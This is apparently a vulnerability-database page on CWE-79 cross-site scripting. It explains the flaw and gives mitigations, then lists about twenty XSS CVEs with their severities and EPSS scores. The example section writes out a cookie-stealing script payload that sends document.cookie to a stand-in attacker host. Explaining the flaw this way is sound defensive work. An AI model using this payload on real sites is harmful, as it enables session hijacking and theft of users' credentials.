Fallos del tipo CWE-79

28.677 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-13669—Cross-site Scripting (XSS) vulnerability in ckeditor of Drupal Core allows attacker to inject XSS. This issue affects: Drupal Core 8.8.x verEPSS 0.7%CVE-2022-3513MEDIUMAn issue has been discovered in GitLab affecting all versions starting from 12.8 before 15.8.5, all versions starting from 15.9 before 15.9.EPSS 0.7%CVE-2021-24323—Woocommerce < 5.2.0 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.7%CVE-2022-44449MEDIUMStored cross-site scripting vulnerability in Zenphoto versions prior to 1.6 allows remote a remote authenticated attacker with an administraEPSS 0.7%CVE-2024-47068MEDIUMDOM Clobbering Gadget found in rollup bundled scripts that leads to XSSEPSS 0.7%CVE-2024-13993MEDIUMNagios XI < 2024R1.1.2 Reflected XSS via Login Page on Older BrowsersEPSS 0.7%CVE-2024-12626CRITICALAutomatorWP <= 5.0.9 - Reflected Cross-Site Scripting via a-0-o-search_field_valueEPSS 0.7%CVE-2024-6807MEDIUMSourceCodester Student Study Center Desk Management System HTTP POST Request Users.php cross site scriptingEPSS 0.7%CVE-2017-14801MEDIUMReflected xss in Admin Console REST interfaceEPSS 0.7%CVE-2017-6864—The integrated web server in Siemens RUGGEDCOM ROX I (all versions) at port 10000/TCP could allow an authenticated user to perform stored CrEPSS 0.7%CVE-2022-0969—Image optimization & Lazy Load < 3.3.2 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2023-40311MEDIUMStored XSS in multiple JSP files in opennms/opennmsEPSS 0.7%CVE-2024-25344MEDIUMCross Site Scripting vulnerability in ITFlow.org before commit v.432488eca3998c5be6b6b9e8f8ba01f54bc12378 allows a remtoe attacker to executEPSS 0.7%CVE-2021-36823MEDIUMWordPress Absolutely Glamorous Custom Admin plugin <= 6.8 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.7%CVE-2025-64537CRITICALAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.7%CVE-2022-0820MEDIUMCross-site Scripting (XSS) - Stored in orchardcms/orchardcoreEPSS 0.7%CVE-2019-5467—An input validation and output encoding issue was discovered in the GitLab CE/EE wiki pages feature which could result in a persistent XSS. EPSS 0.7%CVE-2024-29792HIGHWordPress Unlimited Elements for Elementor plugin <= 1.5.93 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.7%CVE-2023-34408MEDIUMDokuWiki before 2023-04-04a allows XSS via RSS titles.EPSS 0.7%CVE-2019-18233—In Advantech Spectre RT Industrial Routers ERT351 5.1.3 and prior, the affected product does not neutralize special characters in the error EPSS 0.7%